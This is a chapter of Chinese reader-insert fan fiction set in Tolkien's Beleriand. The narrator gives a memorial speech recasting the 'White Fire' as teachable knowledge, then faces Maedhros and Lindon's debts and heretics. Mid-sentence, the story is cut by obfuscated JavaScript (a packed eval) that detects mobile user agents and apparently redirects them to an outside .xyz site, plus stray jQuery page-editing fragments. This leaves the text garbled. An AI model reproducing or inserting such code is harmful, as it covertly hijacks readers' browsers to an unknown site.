[精灵宝钻 中土]偷天换钻为酒色所伤竟憔悴至此

110.宗教改革

你那些话当然不至于当场就把瑙格拉都尔说服了,他一直跟你掰扯到了你要上场讲话——你逐渐听出了他的意思,他本质上对这神那神的没什么太大意见,主要是想利用神这个话题给你施压,终极目标还是矿,以及矿产周边山地的领土争端。


……连“埃卢庭葛是贝尔兰之王,他已经将蓝色山脉整个划分给了矮人,绿精灵无权在蓝色山脉提出领土要求”这种话都说出来了,难怪埃卢庭葛指哪儿他打哪儿呢,闹半天还是“合法性”的问题——但只要找到了利益的关键节点,一切都是好商量的。


毕竟,先前有费诺里安威慑,他不敢贸然动手,现在费诺里安威慑力下降,林顿自己的威慑力却上升了……不管私下怎么吵吵,为了大家好,还是在谈判桌上解决这个问题吧。


你礼貌地把矮人王留给坐在你另一边的梅斯罗斯,在他们复杂的目光中穿过自发分开的人群,走向混凝土浇筑的纪念碑;以绿精灵的建筑造诣和工艺水平,它只是个直愣愣、上小下大的灰黑色棱柱,高4码,底座宽与厚都是1码,正面用许多切开打磨光滑的石头在上面粘出了斧头图案,又用颜料和清漆给这图案上了鲜艳的红色。


至于铭文……滕格瓦不太适合竖写,只能在基座上用更小的石块拼出了桂尔维列斯战役的时间地点、战役过程、影响作用等,同样上了色;你也想留下点什么,但你的字又实在不太好看,不好意思写在纪念碑正面,便在铭文上方添了一行被工匠们当成神秘咒文的汉字“桂城战役烈士永垂不朽”。


你站在临时搭设的木制演讲台前,面对聚集在空地上的民众、以及他们背后的“篝火”,抬手压下沸腾的声浪;“八十天前,奥克的铁蹄踏碎了桂尔维列斯的黎明;如今,我们已让他们付出代价,在他们的陈兵之地竖立起了纪念碑。这块碑中,碎石来自坍塌的城墙,石灰混着未洗净的血——林顿的防线从不是靠城墙,是靠甘愿为身后之人赴死的决心!烈士的□□虽被毁灭,但精神意志在女娲娘娘教导下,构筑起了不灭的圣殿,永不会被遗忘!”


“血与火”的呼声浪潮自你近前怀抱着烈士遗物的亲友蔓延开来,流向人群边缘又转瞬弹回;你再次抬起手,等他们都安静肃穆下来,你深吸一口气,说道:“借此机会,我要向所有人宣布一件重要的事——‘白火’并非神迹,而是我对女娲娘娘所传授知识的应用,这样的知识,人人可学,人人可知。”


“女娲娘娘另外降下了旨意:启示不在云端,而在思考与实践;她将火种置于圣殿,但决定林顿前途与命运的,只有林顿人民自己——在圣殿引导之下,通过团结一致的辛勤劳动与英勇斗争,消灭一切的贫困与奴役,因劳动而非财富、因智慧而非出身、因品德而非种族地衡量价值,让一切人民获得物质上的富足安定、灵魂上的平等自由。”在突兀寂静下来的诡异氛围中,你遥遥望向观礼台上的国王与领主,将双手高高托举起来,“知识就是力量,圣殿与真理照耀着我们!”


纪念碑与京观之间,或无所适从争辩嚎啕、或震惊欣喜手舞足蹈、或呆滞懵懂不知所措的民众陷入了一片混乱。


但你俯视着他们,只露出了矜持的微笑。


……


“我们确实应该开诚布公地谈一谈了。”梅斯罗斯的声音前所未有的阴沉,“我来是为了解决诺多与莱昆迪的信仰隔阂问题,而你在发疯。”


他占据了会议室里你的主位,你却没有坐在他下手的位置,而是踩着他背后的梯子,把标记着各方势力的彩色针扣钉在巨大的贝尔兰地图上。


“您错怪我了。”你淡定地答道,“我不认为信仰隔阂算什么问题,那对我来说只是一种工具——本质上而言,一切问题都是生产力的问题。”


“……你确实是我见过的最傲慢狂妄的人。”


“您的胆量和见识应当足够包容我,我相信您。”你说,“正如我们这么多次共同面对敌人时,您相信我一样。”


梅斯罗斯冷笑了一声:“但现在看来是养虎为患,连你的手下都敢扣留moryo和诺多部属来和我做交易,现在还要把我们共同构筑的神坛毁掉;圣殿,哈,kano困惑了许久,原来是这个圣殿,‘因智慧而非出身’——你终于彻底抛弃伏低做小的伪装了。”


“那可不是伪装,我是真害怕。”你回过头来,才发现他不知道什么时候没声没息地站在了你背后,正和踩着梯子的你平视,把你吓得一哆嗦,梯子发出了摇晃的吱嘎声,“……现在也很害怕啊!”


“我看不出来你的害怕。”梅斯罗斯说,“我只能看出你现在有恃无恐——也许费诺里安的损失让你出现了一点幻觉,踩着诺多牺牲者的尸骨做起美梦了。”


不同于往常他垂眼看你时神态总带些温和,以平视看来,他的眼神完全是锋芒毕露、锐利且凌厉的,几乎让你产生了某种程度上的陌生感;像是被凶猛的大型野兽盯上一般,你本能地汗毛直立、脊背发凉,不自觉地将指甲死死掐进了手心,但是……


在这双银灰色眼睛的倒影中,你的嘴角是上扬的。


“您多虑了,我对所有烈士都心存敬意。”你告诉他,“我只是写好了遗书,技术资料和路线规划基本上也都放进了遗产里——您当然可以随意地拧断我的脖子,但恐怕已经拧不断林顿发展的前路了。”


梅斯罗斯面无表情,只是瞳孔收紧了。


“当然,我本身还是怕死的,我们也没有必要这样剑拔弩张。”你转过身去,伸长胳膊在地图高处希姆凛的位置摁下几颗黑色针扣,“外敌当前,既分高下也决生死只会让我们两败俱伤,互相尊重、平等互利地团结合作才能双赢嘛。”


身后一直是沉默的,但你能感觉到解剖刀一样的目光冰冷地从头划到背,带来像是要剥开你的皮囊似的颤栗感;你不动声色地深呼


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820089|170186||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


吸,把声音放得更轻柔:“安格班也需要一些针扣,您能帮帮我吗?”


令人窒息的沉默又持续了一会儿。你觉得自己往下微微坠了坠,梯子再次发出吱嘎声,但还是撑住了;地图上的两个影子融成一个,笼罩了东贝尔兰。


你摊开的左手手心划过一丝热意,针扣被尽数取走;片刻后,它们被一个个地钉在了安格班的核心。


……


与费诺里安和矮人的各种谈判几乎占据了一半你接下来几个月的公务时间,另一半则是让被宗教理论大转弯甩得晕头转向的林顿人民给占据了——之前偷偷摸摸发展的那点圣殿骑士只能让你减少那么一点心累,你还是得不停地到各个委员会举行座谈会、找各个关键岗位推心置腹、面向大众开公开解释会……好吧,其实就是跟从狂信徒到不信徒再到异教徒的各色人等辩经,同时还要打击道心破碎自立门户的“异端”,牛马都比你过得舒服。


最主要、最根本的问题还是出在钱上,一整场战役下来,林顿国库比你脸都干净,一查帐目全是债务,欠费诺里安的、欠诺格罗德的,尤其欠农民、生产工人、运输工人和工程工人的,仅剩那点钱则拿去发军饷了——你的历史知识在警告你,在这种动荡时期,你的面子和信用正在跌宕起伏,欠谁的都不能欠士兵的。


大批民众拿不到工资就会导致没有消费,没有消费生产端就没有收益,没有收益就发不出工资,纯纯恶性循环;本来这是印钱就能解燃眉之急的问题,但铸币权并不在你手上,谈判迟迟没有进展——梅斯罗斯对把你重新压下去仍然没有死心,有意卡你;而有可能被你说动的卡兰希尔老巢没了,他自己还正寄兄弟篱下、两手空空、愁得直薅头发呢。


你只能重新启动了建城之初的完全配给制,把工分转化成“虚拟币”,海绵里挤水一样省钱去安置难民,勉强维持了林顿的运转;生活品质的断崖式下降不可避免地让民众生出了一些不满,据格拉加姆亲自审讯,那些“异端”就是钻了这种空子,到处宣扬是因为你贪天之功、假传神意、混淆尊卑、轻视神明,导致女娲娘娘抛弃了林顿。


……你都给他们整笑了。


“要杀掉他们吗?”尼莫斯帮你搅拌着汤药,轻描淡写地问。


你身边所有人忙碌的程度都不遑多让,尼莫斯在完成你交给他的任务的同时,还自觉承担了提醒你吃饭吃药以及送饭送药的职责,除了演讲那天他过于激动摔了你的饭导致你饿肚子之外一直兢兢业业,又积极主动地跟你学圣殿理论,连之前跟他有龃龉的同事都有所改观了。


你笑够了才摆摆手:“有什么好杀的?一群傻子罢了,我真的搞尊卑分明也会按智力搞,他们能讨得什么好?”


“您是有大志向的人,所以不会明白。”尼莫斯微笑着看着你,“许多人毕生所求不过是一个‘位置’,无论高低贵贱,只要稳当,就心满意足了。”